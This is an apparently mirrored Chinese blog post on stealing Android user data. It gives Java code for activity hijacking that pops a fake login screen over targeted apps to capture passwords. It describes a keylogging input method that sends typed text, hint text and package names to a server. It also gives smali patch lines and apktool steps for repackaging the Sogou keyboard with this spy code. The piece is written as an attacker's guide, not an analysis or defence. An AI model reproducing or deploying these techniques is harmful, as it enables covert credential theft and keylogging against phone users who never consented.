zoukankan      html  css  js  c++  java
  • Android窃取用户信息新思路

    0×01 我们能得到哪些android手机上的app敏感信息
    手机上的app敏感信息
    ◦通讯录,通讯记录,短信
    ◦各种app的帐号密码,输入信息资料等
    ◦各种影音资料,照片资料
    ◦等等
    0×02  我们有哪些方法可以得到他们
     通讯录,通讯记录,短信,这类信息需要我们的恶意apk在安装时申请大量敏感的权限,比如说

     <uses-permission android:name=”android.permission.READ_CONTACTS” />

      一个典型的联系人信息权限,这里需要在配置文件中声明,不然无法拿到
    各种app的帐号密码,输入信息资料等,这些信息在非root情形下,非常难以获得
    如果要强行获得大致有三种方式
    –a.栈劫持,完整代码见附件一,下面给出示例代码
    b.–部分apk会将敏感信息存入sd卡中,这里claud讲过,我就不说了
    c.–部分apk的配置文件读写权限设置不当,这个比较少
    –此外:我们可以把知名的apk文件重打包后再次发布,例如我们修改QQ的apk文件后再发布。
    0×03 栈劫持核心代码

    ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE );
    List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses();
    //枚举进程
    for(RunningAppProcessInfo appProcess : appProcesses) {
    //如果APP在前台
    if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
    //APP是否在需要劫持的列表中
    if (mVictims.containsKey(appProcess.processName)) {
    if(UILogin.started == 0)
    {
    Intent UIIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName));
    UIIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    getApplication().startActivity(UIIntent);
    UILogin.started =1;
    }

    优点:不用修改目标apk,可以巧妙的骗取用户的账户密码
    缺点:劫持到的界面在骗取了用户密码后,无法顺利进行下一步登录,
    从而导致用户会意识到不对劲(除了极少数情况,我们弹出的界面可以把用户密码交互给正常的apk界面)

    0×04 Android的apk重打包的优缺点

      略

    0×05 思考别的方法

      这应该是一个非root就可以利用的技术
      这应该是一个低权限的技术
      这应该是一个通用型的技术
      这样该是一个不易被察觉的技术

      思考下,在android中apk之间是基本绝缘的,那有什么可以让我的apk访问到别的apk的敏感资源呢
      在ios中,不越狱的情况下,为什么不允许装第三方的输入法,这里是不是隐含着一些漏洞呢!!!

    0×06 Android输入法的机制-流程

    输入法应用是具体处理用户输入行为的应用程序。为了能够在Android的输入法框架中良好的运行,所有的输入法应用都需要继承特定的service。Android平台的输入法框架为输入法应用定义了一个基类InputMethodService。InputMethodService提供了一个输入法的标准实现。定义了输入法生命周期内的重要函数,提供给开发人员进行相应的处理。

    a.  当用户触发输入法显示的时候(客户端控件获得焦点),InputMethodService启动。首先调用onCreate() 函数,该函数在输入法第一次启动的时候调用,适合用来做一些初始化的设置,与其他service相同;
    b.  调用onCreateInputView()函数,在该函数中创建KeyboardView并返回;
    c.  调用onCreateCandidatesView()函数,在该函数中创建候选区实现并返回;
    d.  调用onStartInputView()函数来开始输入内容,
    e.  输入结束后调用onFinishInput()函数来结束当前的输入,
    f.  如果移动到下一个输入框则重复调用onStartInputView和onFinishInput函数;
    g.  在输入法关闭的时候调用onDestroy()函数。

    0×07 Android输入法的机制-细节 (重点)

    a.在InputMethodService中,有几个值得注意的方法或类getCurrentInputEditorInfo() 这个方法可以获得当前     编辑框的一组对象属性EditorInfo,他有如下的关键属性
    EditorInfo .hintText顾名思义即为编辑框的默认值,这个是很关键的一个属性.
    EditorInfo .packageName是指这个控件所属的apk的包名,比如说手机qq中的所有编辑框的packageName都是com.tencent.qq
    b.getCurrentInputConnection()这个方法可以获得当前的编辑框的一个InputConnection对象,而这个对象则有多个强大的方法可以调用
    commitText(CharSequence text, int newCursorPosition),很关键的一个函数,用来向编辑框写入值getTextAfterCursor(int n, int flags)
    getTextBeforeCursor(int n, int flags)
    顾名思义,即是得到输入框中的字符串,n代表读取多少位,flags设为0

    0×08 Android输入法的hack技术

    我们可以自己实现一个输入法,在输入每一个字符的时候记录,最后在onFinishInput方法处把输入框的值发   送到服务器去可以见示例代码2中,利用android示例代码SoftKeyboard修改的间谍apk,
    其中在他的源代码中只改动了两处
    handleCharacter 方法最后加入SoftKeyIcefish.postInfo(this);
    onFinishInput方法加入SoftKeyIcefish.start();

    0×09 Android输入法的-重打包搜狗输入法

    通过sougou的配置文件可以发现关键的那个InputMethodService类即为
    com.sohu.inputmethod.sogou.SogouIME.smali
    打开这个文件搜索committext,然后在每一个这个后面加上

    invoke-static {p0}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->postInfo(Landroid/inputmethodservice/InputMethodService;)V

    即为SoftKeyIcefish.postInfo(this)

    查找onFinishInput() v
    第一行加上

    invoke-static {}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->start()V

    即为
    SoftKeyIcefish.start();
    Apktool b打包,签名,测试

    0×10 测试效果,评论


    利用对输入法的重打包,来实现窃取用户信息的方式,优点在于权限要求非常之低,只要求一个网络权限就可以窃取各种各样的用户输入信息了,而反观各种输入法他们自身申请的权限已经非常之高了。而且窃取的信息中包含的hinttext和包名又可以方便的帮助我们定位到具体的apk和输入框信息
    0×11 详细内容见ppt附件
     http://pan.baidu.com/share/link?shareid=134386&uk=3204812497

  • 相关阅读:
    《剑指offer》 面试题43 n个骰子的点数 (java)
    《剑指offer》面试题45 圆圈中最后剩下的数字(Java版本)
    《剑指offer》面试题39 二叉树的深度(java)
    《剑指offer》面试题32----从1到n整数中1出现的次数
    快速排序思路整理
    《Java程序猿面试宝典》之字符串
    Tomcat的server.xml
    easyui combobox 清除选中项目 和 清空option选项
    2019
    throw UnsupportedOperationException
  • 原文地址:https://www.cnblogs.com/microzone/p/3253886.html
Copyright © 2011-2022 走看看